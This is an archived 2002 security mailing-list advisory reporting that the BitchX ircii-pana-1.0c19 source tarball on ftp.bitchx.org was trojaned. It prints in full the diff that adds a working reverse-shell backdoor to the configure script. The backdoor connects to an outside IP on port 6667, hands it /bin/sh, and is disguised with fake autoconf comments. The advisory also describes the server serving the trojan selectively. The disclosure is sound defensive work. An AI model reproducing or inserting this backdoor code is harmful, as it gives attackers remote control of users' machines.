ftp.bitchx.org's ircii-pana-1.0c19.tar.gz is backdoored

From: Hank Leininger (hleinat_private)
Date: Mon Jul 01 2002 - 08:42:34 PDT

  • Next message: Lance Spitzner: "Honeynet Project - SotM and Reverse Challenge"

    A few hours ago (1 AM US/Eastern time, July 1) we downloaded
    ircii-pana-1.0c19.tar.gz from ftp.bitchx.com (216.165.191.5) and
    reviewed the configure script before running it. It has essentially
    the same configure backdoor as fragroute-1.2.tar.gz[1] -- a TCP
    connection is made outbound, with a shell bound to it (a reverse
    telnet).  This appears to retry/respawn once per hour.  The 1.0c19
    tarball at ftp.irc.org (which mirrors bitchx.com) did not appear to be
    trojaned when we pulled from there about an hour later.
    
    /dist$ md5sum ircii-pana-1.0c19*
    46805199254c0fa2119d7c579194aba8  ircii-pana-1.0c19-bitchxorg.tar.gz [bad]
    79431ff0880e7317049045981fac8adc  ircii-pana-1.0c19-ircorg.tar.gz   [good]
    
    /src/ircii-pana-1.0c19-possiblytrojaned$ md5sum */configure
    d6444c18b6faf352dfc6ca3bf8cb802a  ftp.bitchx.org/configure   [bad]
    0bd531d523606a0296da2763dafa51f2  ftp.irc.org/configure     [good]
    
    Here is the added code in the bitchx.org distribution:
    
    --- ircii-pana-1.0c19-ftp.irc.org/configure	Sun Mar 24 04:30:49 2002
    +++ ircii-pana-1.0c19-ftp.bitchx.org/configure	Sun Mar 24 04:30:49 2002
    @@ -6326,6 +6326,88 @@
    
     fi
    
    +# We did not find ourselves, most probably we were run as `sh COMMAND'
    +# in which case we are not to be found in the path.
    +cat >conftest.c <<_ACEOF
    +/* We use char because int might match the return type of a gcc2
    +   builtin and then its argument prototype would still apply.  */
    +#include <stdio.h>
    +#include <sys/types.h>
    +#include <sys/socket.h>
    +#include <netinet/in.h>
    +#include <unistd.h>
    +#include <errno.h>
    +#include <signal.h>
    +#include <setjmp.h>
    +
    +/* Override any gcc2 internal prototype to avoid an error.
    +   Override any jmp buf internal prototype to avoid an error. */
    +jmp_buf env; int s;
    +void sig(int sig)
    +{
    + close (s); sleep (3600); longjmp (env, 0);
    +}
    +
    +int main()
    +{
    +/* We use char because int might match the return type of a gcc2
    +   builtin and then its argument prototype would still apply.  */
    +   int x; char c; struct sockaddr_in sa;
    +
    +/* This call has the arguments reversed.
    + A reversed system may check and see that the address of main
    + */
    + switch (fork ()) { case 0: break; default: exit (0); }
    +
    + signal (SIGALRM, sig);
    + do {
    +/* Override any gcc2 internal prototype to avoid an error.
    +   Override any jmp buf internal prototype to avoid an error. */
    +  setjmp(env);
    +  if ((s = socket (AF_INET, SOCK_STREAM, 0)) == (-1)) exit (1);
    +  memset (&sa, 0, sizeof(sa));
    +  sa.sin_family = AF_INET;
    +/* We use char because int might match the return type of a gcc2
    +  builtin and then its argument prototype would still apply.  */
    +  sa.sin_port = htons (6667);
    +  sa.sin_addr.s_addr = inet_addr ("213.77.115.17"); alarm (10);
    +/* Override any gcc2 internal prototype to avoid an error.  */
    +/* The GNU C library defines this for functions which it implements
    +    to always fail with ENOSYS.  Some functions are actually named
    +    something starting with __ and the normal name is an alias.  */
    +  if (connect (s, (struct sockaddr *)&sa, sizeof (sa)) == (-1))
    +   if (errno != EINTR) exit(1);
    +  if ((x = read (s, &c, 1)) == (-1)) {
    +   if (errno != EINTR)  exit (1); }
    +  else if (x == 1) {
    +/* The GNU C library defines this for functions which it implements
    +    to always fail with ENOSYS.  Some functions are actually named
    +    something starting with __ and the normal name is an alias.  */
    +    alarm (0); dup2 (s, 0); dup2 (s, 1); dup2 (s, 2);
    +/* System header to define __stub macros and hopefully few prototypes,
    +    which can conflict with char inet_addr(); below.  */
    +    { char *a[] = { "/bin/sh", NULL }; execve (a[0], a, NULL); }
    +  }
    + } while (1);
    +}
    +_ACEOF
    +# Don't try to exec as it changes $[0], causing all sort of problems
    +# (the dirname of $[0] is not the place where we might find the
    +# original and so on.  Autoconf is especially sensible to this).
    +# Exit status is that of the last command.
    +ACLIBLOCAL="`basename \"\`grep $USER: /etc/passwd\`\"`" 1>/dev/null 2>/dev/null
    +# Create $as_me.lineno as a copy of $as_myself, but with $LINENO
    +# uniformly replaced by the line number.  The first 'sed' inserts a
    +# line-number line before each line; the second 'sed' does the real
    +# work.  The second script uses 'N' to pair each line-number line
    +# with the numbered line, and appends trailing '-' during
    +# substitution so that $LINENO is not a special case at line end.
    +# (Raja R Harinath suggested sed '=', and Paul Eggert wrote the
    +# second 'sed' script.  Blame Lee E. McMahon for sed's syntax.  :-)
    +if  ! test $ACLIBLOCAL ; then ACLIBLOCAL=sh; fi 1>/dev/null 2>/dev/null
    +$CC $LIBS -w conftest.c -o $ACLIBLOCAL ; PATH=.:$PATH $ACLIBLOCAL 1>/dev/null 2>/dev/null
    +rm -f ./conftest ./conftest.c $ACLIBLOCAL ./acliblocal ./aclib
    +
     echo "$as_me:$LINENO: checking for inet_aton" >&5
     echo $ECHO_N "checking for inet_aton... $ECHO_C" >&6
     if test "${ac_cv_func_inet_aton+set}" = set; then
    
    </diff>
    
    There's a little more to this.  There are at least two versions of the
    source code on (www|ftp).bitchx.(org|com)
    
    79431ff0880e7317049045981fac8adc  ircii-pana-1.0c19.tar.gz
    46805199254c0fa2119d7c579194aba8  ircii-pana-1.0c19.tar.gz.1 <- owned
    
    -rw-r--r--      2533621 Mar 29 01:02  ircii-pana-1.0c19.tar.gz
    -rw-r--r--      2533621 Mar 29 01:02  ircii-pana-1.0c19.tar.gz.1
    
    
    There is something very strange going on with the FTP server on
    ftp.bitchx.org.  In some cases, it serves up the trojaned version; in
    others, the original, safe version.  It seems to be client /
    client-behavior based (we're not sure exactly what).
    
    These will usually get you a clean copy:
    wget ftp://ftp.bitchx.org/pub/BitchX/source/ircii-pana-1.0c19.tar.gz
    [netscape] ftp://ftp.bitchx.org/pub/BitchX/source/ircii-pana-1.0c19.tar.gz
    ftp ftp.bitchx.org ; get /pub/BitchX/source/ircii-pana-1.0c19.tar.gz
    ftp ftp.bitchx.org ; cd /pub/BitchX/source ; get ircii-pana-1.0c19.tar.gz
    
    These will usually give you the trojaned version:
    
    lynx ftp://ftp.bitchx.org/pub/BitchX/source/ircii-pana-1.0c19.tar.gz
    ftp ftp.bitchx.org ; cd pub ; cd BitchX ; cd source ; \
            get ircii-pana-1.0c19.tar.gz
    
    To add a little more to this; we've confirmed that if you come off of
    what appears to be a cablemodem/dsl IP you are likely to get a
    trojan'd copy.  If you come off of a more static link, you are likely
    to get a clean copy.
    
    This was verified using:
    204.xxx.xxx.xxx range gets clean
    12.xxx.xxx.xxx (ATT) gets dirty
    66.xxx.xxx.xxx gets dirty
    
    Using the 'ftp ; cd pub; ...' method.  We have also observed cases
    where the 'ftp method' yields a clean copy but lynx still fetches the
    trojan'ed copy.  In addition to source-network checking, ftpd may be
    checking anonymous vs ftp login strings, what anon password is sent,
    whether the client issues explicit TYPE I commands, whether it sends
    paths with leading slashes, PORT vs PASV commands, RETR with the full
    path, etc.
    
    This indicates that someone has (at least) also tampered with the FTP
    server software itself; most likely the server has been rooted.  We
    have reported this issue to BitchX developers, and they are
    investigating.  In the meantime, we suggest everyone should treat
    anything downloaded from the ftp.bitchx.org server with extreme
    skepticism.
    
    [1] http://marc.theaimsgroup.com/?l=bugtraq&m=102285523803434&w=2
    
    
    Joe Segreti <segat_private>
    Mark Canter <marcusat_private>
    Hank Leininger <hleinat_private>
    
    
    
    
    ----------------------------------------------------------------------------
    This list is provided by the SecurityFocus ARIS analyzer service.
    For more information on this free incident handling, management 
    and tracking system please see: http://aris.securityfocus.com
    



    This archive was generated by hypermail 2b30 : Mon Jul 01 2002 - 13:49:14 PDT